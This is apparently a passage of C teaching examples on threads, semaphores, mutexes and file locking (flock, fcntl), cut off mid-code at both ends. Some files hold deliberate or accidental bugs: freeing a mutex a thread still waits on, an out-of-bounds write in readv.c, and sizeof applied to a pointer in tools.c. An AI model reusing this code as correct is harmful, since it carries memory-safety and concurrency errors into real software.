for (i = 0; i < num_clients; i++) {
d.i = i;
create_thread(&tc[i], client, &d);
sem_wait(&d.data_sem);
}
pthread_join(tb, NULL);
for (i = 0; i < num_clients; i++)
pthread_join(tc[i], NULL);
data_destroy(&d);
return 0;
}
barber-01.cC / 127 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <semaphore.h>
enum {
num_seats = 4,
num_clients = 6
};
typedef void *(*callback_t)(void*);
typedef struct {
sem_t data_sem;
int seats;
pthread_mutex_t seats_mutex;
sem_t customers;
sem_t barber;
sem_t client;
sem_t seat_belt;
int i;
} data_t;
static void data_init(data_t *d)
{
sem_init(&d->data_sem, 0, 0);
d->seats = num_seats;
pthread_mutex_init(&d->seats_mutex, NULL);
sem_init(&d->customers, 0, 0);
sem_init(&d->barber, 0, 0);
sem_init(&d->client, 0, 0);
sem_init(&d->seat_belt, 0, 0);
}
static void data_destroy(data_t *d)
{
sem_destroy(&d->data_sem);
pthread_mutex_destroy(&d->seats_mutex);
sem_destroy(&d->customers);
sem_destroy(&d->barber);
sem_destroy(&d->client);
sem_destroy(&d->seat_belt);
}
static void *barber(void *data)
{
data_t *d = data;
while (1) {
sem_wait(&d->customers);
pthread_mutex_lock(&d->seats_mutex);
sem_post(&d->barber);
d->seats++;
pthread_mutex_unlock(&d->seats_mutex);
sem_wait(&d->client);
printf("barber is working\n");
sleep(1);
sem_post(&d->seat_belt);
}
return NULL;
}
static void *client(void *data)
{
data_t *d = data;
int i = d->i;
sem_post(&d->data_sem);
while (1) {
pthread_mutex_lock(&d->seats_mutex);
if (d->seats > 0) {
sem_post(&d->customers);
d->seats--;
pthread_mutex_unlock(&d->seats_mutex);
sem_wait(&d->barber);
printf("haircut for client %d starts\n", i);
sem_post(&d->client);
sem_wait(&d->seat_belt);
} else
pthread_mutex_unlock(&d->seats_mutex);
sleep(2);
}
return NULL;
}
static void create_thread(pthread_t *t, callback_t callback, data_t *d)
{
int failed = pthread_create(t, NULL, callback, d);
if (failed) {
fprintf(stderr, "pthread_create failed\n");
exit(1);
}
}
int main()
{
int i, failed;
pthread_t tb;
pthread_t tc[num_clients];
data_t d;
data_init(&d);
create_thread(&tb, barber, &d);
for (i = 0; i < num_clients; i++) {
d.i = i;
create_thread(&tc[i], client, &d);
sem_wait(&d.data_sem);
}
pthread_join(tb, NULL);
for (i = 0; i < num_clients; i++)
pthread_join(tc[i], NULL);
data_destroy(&d);
return 0;
}
barber-02.cC / 145 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <semaphore.h>
#define SLEEP_LIMIT 15.0
enum {
num_seats = 4,
num_clients = 6
};
typedef void *(*callback_t)(void*);
typedef struct {
sem_t data_sem;
int seats;
pthread_mutex_t seats_mutex;
sem_t customers;
sem_t barber;
sem_t client;
sem_t seat_belt;
int i;
} data_t;
static void data_init(data_t *d)
{
sem_init(&d->data_sem, 0, 0);
d->seats = num_seats;
pthread_mutex_init(&d->seats_mutex, NULL);
sem_init(&d->customers, 0, 0);
sem_init(&d->barber, 0, 0);
sem_init(&d->client, 0, 0);
sem_init(&d->seat_belt, 0, 0);
}
static void data_destroy(data_t *d)
{
sem_destroy(&d->data_sem);
pthread_mutex_destroy(&d->seats_mutex);
sem_destroy(&d->customers);
sem_destroy(&d->barber);
sem_destroy(&d->client);
sem_destroy(&d->seat_belt);
}
static int random_number(double limit)
{
return 1 + (int)(limit * rand() / (RAND_MAX + 1.0));
}
static void *barber(void *data)
{
int num_customers;
data_t *d = data;
while (1) {
sem_getvalue(&d->customers, &num_customers);
if (num_customers == 0)
printf("barber is going to sleep\n");
sem_wait(&d->customers);
pthread_mutex_lock(&d->seats_mutex);
sem_post(&d->barber);
if (num_customers != 0)
d->seats++;
pthread_mutex_unlock(&d->seats_mutex);
sem_wait(&d->client);
printf("barber is working\n");
sem_post(&d->seat_belt);
sleep(1);
}
return NULL;
}
static void *client(void *data)
{
int num_customers;
data_t *d = data;
int i = d->i;
sem_post(&d->data_sem);
while (1) {
pthread_mutex_lock(&d->seats_mutex);
if (d->seats > 0) {
sem_getvalue(&d->customers, &num_customers);
if (num_customers == 0)
printf("client %d is waking barber\n", i);
sem_post(&d->customers);
if (num_customers != 0)
d->seats--;
pthread_mutex_unlock(&d->seats_mutex);
sem_wait(&d->barber);
printf("haircut for client %d starts\n", i);
sem_post(&d->client);
sem_wait(&d->seat_belt);
} else
pthread_mutex_unlock(&d->seats_mutex);
sleep(10 * random_number(SLEEP_LIMIT));
}
return NULL;
}
static void create_thread(pthread_t *t, callback_t callback, data_t *d)
{
int failed = pthread_create(t, NULL, callback, d);
if (failed) {
fprintf(stderr, "pthread_create failed\n");
exit(1);
}
}
int main()
{
int i, failed;
pthread_t tb;
pthread_t tc[num_clients];
data_t d;
data_init(&d);
create_thread(&tb, barber, &d);
for (i = 0; i < num_clients; i++) {
d.i = i;
create_thread(&tc[i], client, &d);
sem_wait(&d.data_sem);
}
pthread_join(tb, NULL);
for (i = 0; i < num_clients; i++)
pthread_join(tc[i], NULL);
data_destroy(&d);
return 0;
}
00 (07-03)
threads-00.cC / 56 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <semaphore.h>
typedef struct {
int *p;
sem_t ready;
} data_t;
static void data_init(data_t *d)
{
sem_init(&d->ready, 0, 0);
}
static void data_destroy(data_t *d)
{
sem_destroy(&d->ready);
}
void *thread1(void *data)
{
data_t *d = data;
d->p = malloc(sizeof(*d->p));
*d->p = 42;
sem_post(&d->ready);
}
void *thread2(void *data)
{
data_t *d = data;
sem_wait(&d->ready);
printf("%d\n", *d->p);
free(d->p);
}
int main()
{
pthread_t t1, t2;
data_t d;
data_init(&d);
pthread_create(&t1, NULL, thread1, &d);
pthread_create(&t2, NULL, thread2, &d);
pthread_join(t1, NULL);
pthread_join(t2, NULL);
data_destroy(&d);
return 0;
}
01 (07-03)
pthreads-00.cC / 47 lines
#include <stdio.h>
#include <stdlib.h>
#include <err.h>
#include <pthread.h>
typedef struct {
int x;
int y;
} data_t;
void *thread_main(void *data)
{
data_t *d = data;
int *res;
res = malloc(sizeof(int));
*res = d->x + d->y;
return res;
}
int main(int argc, char **argv)
{
int failed, *z;
void *res;
pthread_t t;
data_t d;
if (argc < 3) {
fprintf(stderr, "Usage: %s <x> <y>\n", argv[0]);
return 1;
}
d.x = atoi(argv[1]);
d.y = atoi(argv[2]);
failed = pthread_create(&t, NULL, thread_main, &d);
if (failed)
err(1, "pthread");
pthread_join(t, &res);
z = res;
printf("%d + %d = %d\n", d.x, d.y, *z);
return 0;
}
02 (07-03)
destroy-00.cC / 55 lines
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
struct Shared {
pthread_mutex_t mutex;
};
struct Shared *shared;
void *worker(void *arg)
{
printf("worker: trying to lock mutex...\n");
// This thread may block here.
pthread_mutex_lock(&shared->mutex);
printf("worker: acquired mutex\n");
pthread_mutex_unlock(&shared->mutex);
return NULL;
}
int main(void)
{
pthread_t thread;
shared = malloc(sizeof(*shared));
pthread_mutex_init(&shared->mutex, NULL);
// Main thread takes the mutex first.
pthread_mutex_lock(&shared->mutex);
// Worker will now try to lock it and block.
pthread_create(&thread, NULL, worker, NULL);
sleep(1);
printf("main: freeing object containing mutex!\n");
// BUG:
// worker is still waiting on shared->mutex,
// but we destroy the memory containing that mutex.
free(shared);
// Program might NOT crash here.
printf("main: still running...\n");
sleep(2);
printf("main: doing some unrelated work...\n");
pthread_join(thread, NULL);
}
destroy-01.cC / 61 lines
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
struct Shared {
pthread_mutex_t mutex;
};
struct Shared *shared;
void *worker(void *arg)
{
printf("worker: trying to lock mutex...\n");
pthread_mutex_lock(&shared->mutex);
printf("worker: acquired mutex\n");
// Do protected work here.
pthread_mutex_unlock(&shared->mutex);
printf("worker: finished\n");
return NULL;
}
int main(void)
{
pthread_t thread;
shared = malloc(sizeof(*shared));
pthread_mutex_init(&shared->mutex, NULL);
// Lock it before starting worker.
pthread_mutex_lock(&shared->mutex);
pthread_create(&thread, NULL, worker, NULL);
sleep(1);
printf("main: unlocking mutex\n");
// Allow worker to proceed.
pthread_mutex_unlock(&shared->mutex);
// IMPORTANT:
// Wait until worker is completely finished.
pthread_join(thread, NULL);
printf("main: worker is gone, safe to destroy mutex\n");
// Nobody can use the mutex anymore.
pthread_mutex_destroy(&shared->mutex);
// Now it is safe to release the storage.
free(shared);
printf("main: done\n");
return 0;
}
destroy-02.cC / 62 lines
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
struct Shared {
pthread_mutex_t mutex;
};
void *worker(void *arg)
{
struct Shared *shared = arg;
printf("worker: trying to lock mutex...\n");
// This thread may block here.
pthread_mutex_lock(&shared->mutex);
printf("worker: acquired mutex\n");
pthread_mutex_unlock(&shared->mutex);
return NULL;
}
int main(void)
{
pthread_t thread;
struct Shared *shared;
shared = malloc(sizeof(*shared));
pthread_mutex_init(&shared->mutex, NULL);
// Main thread takes the mutex first.
pthread_mutex_lock(&shared->mutex);
// Worker will now try to lock it and block.
pthread_create(&thread, NULL, worker, shared);
sleep(1);
printf("main: freeing object containing mutex!\n");
pthread_mutex_unlock(&shared->mutex);
pthread_join(thread, NULL);
pthread_mutex_destroy(&shared->mutex);
// BUG:
// worker is still waiting on shared->mutex,
// but we destroy the memory containing that mutex.
free(shared);
// Program might NOT crash here.
printf("main: still running...\n");
sleep(2);
printf("main: doing some unrelated work...\n");
return 0;
}
Book example: balance.c
balance.cC / 109 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <pthread.h>
#include <semaphore.h>
#define ARRAY_SIZE 10
#define WORKERS_COUNT 10
#define PAUSE_LENGTH 1
#ifndef PROTECTION
#define PROTECTION 1
#endif
struct thread_start_data {
unsigned int randseed;
int *array;
#if PROTECTION == 1
pthread_mutex_t *arr_mutex;
sem_t *data_sem;
#endif
};
static void *worker_thread(void *v_data)
{
struct thread_start_data *data = v_data;
unsigned int randseed = data->randseed;
int *array = data->array;
#if PROTECTION == 1
pthread_mutex_t *arr_mutex = data->arr_mutex;
sem_t *data_sem = data->data_sem;
sem_post(data_sem); /* tell the main thread we don't need
the v_data structure anymore */
#endif
for(;;) {
int idx1, idx2;
idx1 = rand_r(&randseed) % ARRAY_SIZE;
idx2 = rand_r(&randseed) % ARRAY_SIZE;
if(idx1 == idx2)
continue;
#if PROTECTION == 1
pthread_mutex_lock(arr_mutex);
#endif
if(rand_r(&randseed) & 0x10) {
array[idx1]++;
array[idx2]--;
} else {
array[idx2]--;
array[idx1]++;
}
#if PROTECTION == 1
pthread_mutex_unlock(arr_mutex);
#endif
}
return NULL; /* never reached */
}
int main()
{
int i;
int the_array[ARRAY_SIZE];
struct thread_start_data tsdata;
pthread_t thr;
#if PROTECTION == 1
pthread_mutex_t arr_mutex = PTHREAD_MUTEX_INITIALIZER;
sem_t tsd_sem;
#endif
for(i = 0; i < ARRAY_SIZE; i++)
the_array[i] = 0;
tsdata.randseed = time(NULL);
tsdata.array = the_array;
#if PROTECTION == 1
tsdata.arr_mutex = &arr_mutex;
tsdata.data_sem = &tsd_sem;
sem_init(&tsd_sem, 0, 0);
#endif
for(i = 0; i < WORKERS_COUNT; i++) {
tsdata.randseed++;
pthread_create(&thr, NULL, worker_thread, &tsdata);
#if PROTECTION == 1
sem_wait(&tsd_sem);
#endif
}
for(;;) {
int sum;
#if PROTECTION == 1
pthread_mutex_lock(&arr_mutex);
#endif
sum = 0;
for(i = 0; i < ARRAY_SIZE; i++)
sum += the_array[i];
printf("%d ", sum);
for(i = 0; i < ARRAY_SIZE; i++)
printf("%c%d", i ? ',' : '(', the_array[i]);
printf(")\n");
#if PROTECTION == 1
pthread_mutex_unlock(&arr_mutex);
#endif
sleep(PAUSE_LENGTH);
}
return 0;
}
03 (07-03)
parallel_count-00.cC / 100 lines
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <pthread.h>
#include <semaphore.h>
#include <unistd.h>
#define ARRAY_SIZE 10
#define WORKERS_COUNT 3
#define PAUSE_LENGTH 1
#ifndef PROTECTION
#define PROTECTION 1
#endif
struct thread_start_data {
unsigned int randseed;
int *array;
#if PROTECTION == 1
pthread_mutex_t *arr_mutex;
sem_t *data_sem;
#endif
};
static void *worker_thread(void *v_data)
{
struct thread_start_data *data = v_data;
unsigned int randseed = data->randseed;
int *array = data->array;
#if PROTECTION == 1
pthread_mutex_t *arr_mutex = data->arr_mutex;
sem_t *data_sem = data->data_sem;
sem_post(data_sem);
#endif
for (;;) {
int idx1, idx2;
idx1 = rand_r(&randseed) % ARRAY_SIZE;
idx2 = rand_r(&randseed) % ARRAY_SIZE;
if (idx1 == idx2)
continue;
#if PROTECTION == 1
pthread_mutex_lock(arr_mutex);
#endif
array[idx1]++;
array[idx2]--;
#if PROTECTION == 1
pthread_mutex_unlock(arr_mutex);
#endif
}
return NULL;
}
int main()
{
int i;
int the_array[ARRAY_SIZE];
struct thread_start_data tsdata;
pthread_t thr;
#if PROTECTION == 1
pthread_mutex_t arr_mutex = PTHREAD_MUTEX_INITIALIZER;
sem_t tsd_sem;
#endif
for (i = 0; i < ARRAY_SIZE; i++)
the_array[i] = 0;
tsdata.randseed = time(NULL);
tsdata.array = the_array;
#if PROTECTION == 1
tsdata.arr_mutex = &arr_mutex;
tsdata.data_sem = &tsd_sem;
sem_init(&tsd_sem, 0, 0);
#endif
for (i = 0; i < WORKERS_COUNT; i++) {
tsdata.randseed++;
pthread_create(&thr, NULL, worker_thread, &tsdata);
#if PROTECTION == 1
sem_wait(&tsd_sem);
#endif
}
for (;;) {
int sum;
#if PROTECTION == 1
pthread_mutex_lock(&arr_mutex);
#endif
sum = 0;
for (i = 0; i < ARRAY_SIZE; i++)
sum += the_array[i];
printf("%d ", sum);
for (i = 0; i < ARRAY_SIZE; i++)
printf("%c%d", i ? ',' : '(', the_array[i]);
printf(")\n");
#if PROTECTION == 1
pthread_mutex_unlock(&arr_mutex);
#endif
sleep(PAUSE_LENGTH);
}
return 0;
}
parallel_count-01.cC / 97 lines
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <pthread.h>
#include <semaphore.h>
#include <unistd.h>
#define ARRAY_SIZE 10
#define WORKERS_COUNT 10
#define PAUSE_LENGTH 1
#ifndef PROTECTION
#define PROTECTION 1
#endif
struct thread_start_data {
unsigned int randseed;
int *array;
#if PROTECTION == 1
pthread_mutex_t *arr_mutex;
sem_t *data_sem;
#endif
};
static void *worker_thread(void *v_data)
{
struct thread_start_data *data = v_data;
unsigned int randseed = data->randseed;
#if PROTECTION == 1
sem_post(data->data_sem);
#endif
for (;;) {
int idx1, idx2;
idx1 = rand_r(&randseed) % ARRAY_SIZE;
idx2 = rand_r(&randseed) % ARRAY_SIZE;
if (idx1 == idx2)
continue;
#if PROTECTION == 1
pthread_mutex_lock(data->arr_mutex);
#endif
data->array[idx1]++;
data->array[idx2]--;
#if PROTECTION == 1
pthread_mutex_unlock(data->arr_mutex);
#endif
}
return NULL;
}
int main()
{
int i;
int the_array[ARRAY_SIZE];
struct thread_start_data tsdata;
pthread_t thr;
#if PROTECTION == 1
pthread_mutex_t arr_mutex = PTHREAD_MUTEX_INITIALIZER;
sem_t tsd_sem;
#endif
for (i = 0; i < ARRAY_SIZE; i++)
the_array[i] = 0;
tsdata.randseed = time(NULL);
tsdata.array = the_array;
#if PROTECTION == 1
tsdata.arr_mutex = &arr_mutex;
tsdata.data_sem = &tsd_sem;
sem_init(&tsd_sem, 0, 0);
#endif
for (i = 0; i < WORKERS_COUNT; i++) {
tsdata.randseed++;
pthread_create(&thr, NULL, worker_thread, &tsdata);
#if PROTECTION == 1
sem_wait(&tsd_sem);
#endif
}
for (;;) {
int sum;
#if PROTECTION == 1
pthread_mutex_lock(&arr_mutex);
#endif
sum = 0;
for (i = 0; i < ARRAY_SIZE; i++)
sum += the_array[i];
printf("%d ", sum);
for (i = 0; i < ARRAY_SIZE; i++)
printf("%c%d", i ? ',' : '(', the_array[i]);
printf(")\n");
#if PROTECTION == 1
pthread_mutex_unlock(&arr_mutex);
#endif
sleep(PAUSE_LENGTH);
}
return 0;
}
parallel_count-02.cC / 121 lines
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <pthread.h>
#include <semaphore.h>
#include <unistd.h>
enum {
array_size = 10,
num_workers = 3,
pause_length = 1
};
#ifndef PROTECTION
#define PROTECTION 1
#endif
typedef struct {
unsigned int randseed;
int array[array_size];
#if PROTECTION == 1
pthread_mutex_t arr_mutex;
sem_t data_sem;
#endif
} data_t;
static void data_init(data_t *d)
{
int i;
d->randseed = time(NULL);
for (i = 0; i < array_size; i++)
d->array[i] = 0;
#if PROTECTION == 1
pthread_mutex_init(&d->arr_mutex, NULL);
sem_init(&d->data_sem, 0, 0);
#endif
}
#if PROTECTION == 1
static void data_destroy(data_t *d)
{
pthread_mutex_destroy(&d->arr_mutex);
sem_destroy(&d->data_sem);
}
#endif
static void *worker_thread(void *data)
{
int i1, i2;
data_t *d = data;
unsigned int randseed = d->randseed;
#if PROTECTION == 1
sem_post(&d->data_sem);
#endif
while (1) {
i1 = rand_r(&randseed) % array_size;
i2 = rand_r(&randseed) % array_size;
if (i1 == i2)
continue;
#if PROTECTION == 1
pthread_mutex_lock(&d->arr_mutex);
#endif
d->array[i1]++;
d->array[i2]--;
#if PROTECTION == 1
pthread_mutex_unlock(&d->arr_mutex);
#endif
}
return NULL;
}
static void print_sum(data_t *d)
{
int i, sum;
while (1) {
#if PROTECTION == 1
pthread_mutex_lock(&d->arr_mutex);
#endif
sum = 0;
for (i = 0; i < array_size; i++)
sum += d->array[i];
printf("%d ", sum);
for (i = 0; i < array_size; i++)
printf("%c%d", i ? ',' : '(', d->array[i]);
printf(")\n");
#if PROTECTION == 1
pthread_mutex_unlock(&d->arr_mutex);
#endif
sleep(pause_length);
}
}
int main()
{
int i;
data_t d;
pthread_t t[num_workers];
data_init(&d);
for (i = 0; i < num_workers; i++) {
d.randseed++;
pthread_create(&t[i], NULL, worker_thread, &d);
#if PROTECTION == 1
sem_wait(&d.data_sem);
#endif
}
print_sum(&d);
for (i = 0; i < num_workers; i++)
pthread_join(t[i], NULL);
#if PROTECTION == 1
data_destroy(&d);
#endif
return 0;
}
mandatory (07-04-01)
MakefileMake / 12 lines
PROGRAMS = readv
CC = gcc
CFLAGS = -g -Wall
all: $(PROGRAMS)
$(PROGRAMS): %: %.c
$(CC) $(CFLAGS) $^ -o $@
clean:
rm -f *.o $(PROGRAMS)
readv.cC / 43 lines
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/uio.h>
int main()
{
int fd, n;
char buf1[6];
char buf2[6];
struct iovec iov[2];
fd = open("readv.t", O_RDONLY);
if (fd == -1) {
perror("open");
return 1;
}
buf1[6] = 0;
buf2[6] = 0;
iov[0].iov_base = buf1;
iov[0].iov_len = 5;
iov[1].iov_base = buf2;
iov[1].iov_len = 5;
n = readv(fd, iov, 2);
if (n == -1) {
perror("readv");
close(fd);
return 1;
}
printf("readv read %zd bytes\n", n);
printf("buf1 = \"%s\"\n", buf1);
printf("buf2 = \"%s\"\n", buf2);
close(fd);
return 0;
}
additional (07-04-02)
MakefileMake / 12 lines
PROGRAMS = file
CC = gcc
CFLAGS = -g -Wall
all: $(PROGRAMS)
$(PROGRAMS): %: %.c
$(CC) $(CFLAGS) $^ -o $@
clean:
rm -f *.o $(PROGRAMS)
file.cC / 25 lines
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <err.h>
int main()
{
int fd;
while (1) {
fd = open("file.t.lock", O_WRONLY|O_CREAT|O_EXCL, 0666);
if (fd != -1) {
close(fd);
break;
}
if (errno != EEXIST)
err(1, "some other error");
sleep(1);
}
printf("opened file file.t\n");
sleep(10);
printf("closed file file.t\n");
unlink("file.t.lock");
}
Book example: flock_starve.c
flock_starve.cC / 44 lines
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/file.h>
#include <fcntl.h>
#ifdef SHARED
#define LOCK_MODE LOCK_SH
#define LOCK_NAME "shared"
#else
#define LOCK_MODE LOCK_EX
#define LOCK_NAME "exclusive"
#endif
#define LOCKED_SLEEP 1900000
#define UNLOCKED_SLEEP 100000
int main(int argc, char **argv)
{
int fd, i;
if(argc < 2) {
fprintf(stderr, "No argument specified\n");
return 1;
}
fd = open(argv[1], O_RDWR|O_CREAT, 0666);
if(fd == -1) {
perror(argv[1]);
return 2;
}
for(i = 0; ; i++) {
int res;
printf("%d Getting %s lock... ", i, LOCK_NAME); fflush(stdout);
res = flock(fd, LOCK_MODE);
res = flock(fd, LOCK_MODE);
printf("got it (%d)\nNow sleeping\n", res);
usleep(LOCKED_SLEEP);
printf("%d Releasing %s lock... ", i, LOCK_NAME); fflush(stdout);
res = flock(fd, LOCK_UN);
printf("done\nNow sleeping\n");
usleep(UNLOCKED_SLEEP);
}
}
flock (07-04-03)
flock-starve-00.cC / 44 lines
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/file.h>
#include <fcntl.h>
#ifdef SHARED
#define LOCK_MODE LOCK_SH
#define LOCK_NAME "shared"
#else
#define LOCK_MODE LOCK_EX
#define LOCK_NAME "exclusive"
#endif
#define LOCKED_SLEEP 1900000
#define UNLOCKED_SLEEP 10000
int main(int argc, char **argv)
{
int fd, i;
if (argc < 2) {
fprintf(stderr, "No argument specified\n");
return 1;
}
fd = open(argv[1], O_RDWR|O_CREAT, 0666);
if (fd == -1) {
perror(argv[1]);
return 2;
}
for (i = 0; ; i++) {
int res;
printf("%d Getting %s lock ... ", i, LOCK_NAME);
fflush(stdout);
res = flock(fd, LOCK_MODE);
printf("got it\nNow sleeping\n");
usleep(LOCKED_SLEEP);
printf("%d Releasing %s lock ... ", i, LOCK_NAME);
fflush(stdout);
res = flock(fd, LOCK_UN);
printf("done\nNow sleeping\n");
usleep(UNLOCKED_SLEEP);
}
}
flock-starve-01-exclusive.cC / 43 lines
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/file.h>
#include <fcntl.h>
#define LOCKED_SLEEP 1900000
#define UNLOCKED_SLEEP 10000
int main(int argc, char **argv)
{
int fd1, fd2, i;
if (argc < 3) {
fprintf(stderr, "No argument specified\n");
return 1;
}
fd1 = open(argv[1], O_RDWR|O_CREAT, 0666);
if (fd1 == -1) {
perror(argv[1]);
return 2;
}
fd2 = open(argv[2], O_RDWR|O_CREAT, 0666);
if (fd2 == -1) {
perror(argv[2]);
return 2;
}
for (i = 0; ; i++) {
flock(fd2, LOCK_EX);
printf("%d Getting %s lock ... ", i, "exclusive");
fflush(stdout);
flock(fd1, LOCK_EX);
printf("got it\nNow sleeping\n");
usleep(LOCKED_SLEEP);
printf("%d Releasing %s lock ... ", i, "exclusive");
fflush(stdout);
flock(fd1, LOCK_UN);
flock(fd2, LOCK_UN);
printf("done\nNow sleeping\n");
usleep(UNLOCKED_SLEEP);
}
}
flock-starve-01-shared.cC / 43 lines
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/file.h>
#include <fcntl.h>
#define LOCKED_SLEEP 1900000
#define UNLOCKED_SLEEP 10000
int main(int argc, char **argv)
{
int fd1, fd2, i;
if (argc < 3) {
fprintf(stderr, "No argument specified\n");
return 1;
}
fd1 = open(argv[1], O_RDWR|O_CREAT, 0666);
if (fd1 == -1) {
perror(argv[1]);
return 2;
}
fd2 = open(argv[2], O_RDWR|O_CREAT, 0666);
if (fd2 == -1) {
perror(argv[2]);
return 2;
}
for (i = 0; ; i++) {
flock(fd2, LOCK_EX);
flock(fd2, LOCK_UN);
printf("%d Getting %s lock ... ", i, "shared");
fflush(stdout);
flock(fd1, LOCK_SH);
printf("got it\nNow sleeping\n");
usleep(LOCKED_SLEEP);
printf("%d Releasing %s lock ... ", i, "shared");
fflush(stdout);
flock(fd1, LOCK_UN);
printf("done\nNow sleeping\n");
usleep(UNLOCKED_SLEEP);
}
}
lockf-fcntl (07-04-04)
MakefileMake / 21 lines
SRCMODULES = tools.c
OBJMODULES = $(SRCMODULES:.c=.o)
PROGRAMS = create read modify
CC = gcc
CFLAGS = -g -Wall
all: $(PROGRAMS)
%.o: %.c %.h
$(CC) -c $< -o $@ $(CFLAGS)
$(PROGRAMS): %: %.c $(OBJMODULES)
$(CC) $^ -o $@ $(CFLAGS)
clean:
rm -f *.o $(PROGRAMS)
ctags:
ctags *.c *.h
create.cC / 22 lines
#include <unistd.h>
#include "tools.h"
int main(int argc, char **argv)
{
int fd;
int data[] = {
1, 100,
2, 100,
3, 100,
4, 100,
5, 100,
};
check_arguments(argc, argv[0]);
fd = open_file(argv[1], 'w');
write(fd, data, sizeof(data));
close(fd);
return 0;
}
modify.cC / 47 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/file.h>
#include "tools.h"
int main(int argc, char **argv)
{
int fd, size, sleep_time, first, second, diff;
int from[2], to[2];
struct flock s1, s2;
if (argc < 6) {
fprintf(stderr, "usage %s <file name> <time interval> "
"<diff> <first data> <second data>\n", argv[0]);
exit(1);
}
fd = open_file(argv[1], 'm');
size = lseek(fd, 0, SEEK_END);
lseek(fd, 0, SEEK_SET);
sleep_time = str2long(argv[2]);
diff = str2long(argv[3]);
first = str2long(argv[4]) - 1;
second = str2long(argv[5]) - 1;
lock(fd, first * sizeof(from), sizeof(from), &s1);
lock(fd, second * sizeof(from), sizeof(from), &s2);
read_data(fd, from, first);
read_data(fd, to, second);
sleep(sleep_time);
modify_data(fd, from, first, -diff);
modify_data(fd, to, second, diff);
s1.l_type = F_UNLCK;
fcntl(fd, F_SETLKW, &s1);
s2.l_type = F_UNLCK;
fcntl(fd, F_SETLKW, &s2);
close(fd);
return 0;
}
read.cC / 30 lines
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <err.h>
#include "tools.h"
enum {
data_size = 10
};
int main(int argc, char **argv)
{
int fd, i;
int data[data_size];
check_arguments(argc, argv[0]);
fd = open_file(argv[1], 'r');
read(fd, data, sizeof(data));
for (i = 0; i < data_size; i++) {
printf("%d ", data[i]);
if (i % 2 == 1)
printf("\n");
}
close(fd);
return 0;
}
tools.cC / 96 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <err.h>
#include <string.h>
#include "tools.h"
void *xmalloc(int size)
{
void *p;
p = malloc(size);
if (!p) {
fprintf(stderr, "Could not allocate dynamic memory\n");
exit(1);
}
return p;
}
long str2long(const char *str)
{
int n;
char *endptr;
n = strtol(str, &endptr, 10);
if (errno == ERANGE || !*str || *endptr)
err(1, str);
return n;
}
void check_arguments(int argc, const char *program_name)
{
if (argc < 2) {
fprintf(stderr, "usage %s <file name>\n", program_name);
exit(1);
}
}
int open_file(const char *file_path, int mode)
{
int fd;
switch (mode) {
case 'w':
fd = open(file_path, O_WRONLY|O_CREAT|O_TRUNC, 0666);
break;
case 'e':
fd = open(file_path, O_WRONLY|O_CREAT|O_EXCL, 0666);
break;
case 'm':
fd = open(file_path, O_RDWR, 0666);
break;
case 'r':
fd = open(file_path, O_RDONLY);
break;
}
if (fd == -1)
err(1, file_path);
return fd;
}
void read_data(int fd, int *data, int start)
{
int rc;
lseek(fd, start * sizeof(data), SEEK_SET);
rc = read(fd, data, sizeof(data));
if (rc != sizeof(data)) {
fprintf(stderr, "wrong data read\n");
exit(1);
}
}
void modify_data(int fd, int *data, int start, int diff)
{
int original = data[1];
lseek(fd, start * sizeof(data) + sizeof(data[0]), SEEK_SET);
data[1] += diff;
write(fd, &data[1], sizeof(data[1]));
printf("%d: %d -> %d\n", data[0], original, data[1]);
}
void lock(int fd, int start, int len, struct flock *s)
{
s->l_type = F_WRLCK;
s->l_whence = SEEK_SET;
s->l_start = start;
s->l_len = len;
fcntl(fd, F_SETLKW, s);
}
tools.hC / 17 lines
#ifndef TOOLS_H
#define TOOLS_H
#include <fcntl.h>
void *xmalloc(int size);
long str2long(const char *str);
void check_arguments(int argc, const char *program_name);
int open_file(const char *file_path, int mode);
void read_data(int fd, int *data, int start);
void modify_data(int fd, int *data, int start, int diff);
void lock(int fd, int start, int len, struct flock *s);
#endif
8. Inside the Kernel / 1 filesRead chapter
02 (08-02)
scheduler-00.cC / 115 lines
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <err.h>
#include <sched.h>
#include <unistd.h>
#include <time.h>
#include <sys/wait.h>
static void select_policy(int i, int *policy, char **name,
struct sched_param *param)
{
switch (i) {
case 0:
*policy = SCHED_OTHER;
*name = "other";
break;
case 1:
*policy = SCHED_BATCH;
*name = "batch";
break;
case 2:
*policy = SCHED_IDLE;
*name = "idle";
break;
case 3:
*policy = SCHED_FIFO;
*name = "fifo";
param->sched_priority = 1;
break;
case 4:
*policy = SCHED_RR;
*name = "round robin";
param->sched_priority = 1;
break;
}
}
static void some_random_computation(int lim_i, int lim_j)
{
int i, j;
long x;
x = 11;
for (i = 0; i < lim_i; i++) {
for (j = 0; j < lim_j; j++) {
x ^= x << 13;
x ^= x >> 7;
x ^= x << 17;
x *= 0x9E3779B97F4A7C15ULL;
x += 0xBF58476D1CE4E5B9ULL;
x ^= x >> 29;
}
}
}
static void launch_processes(int num_processes, long lim)
{
int i, pid, policy, ret, actual;
long duration;
char *name;
struct sched_param param;
struct timespec start, end;
param.sched_priority = 0;
for (i = 0; i < num_processes; i++) {
pid = fork();
if (pid == -1)
err(1, "fork");
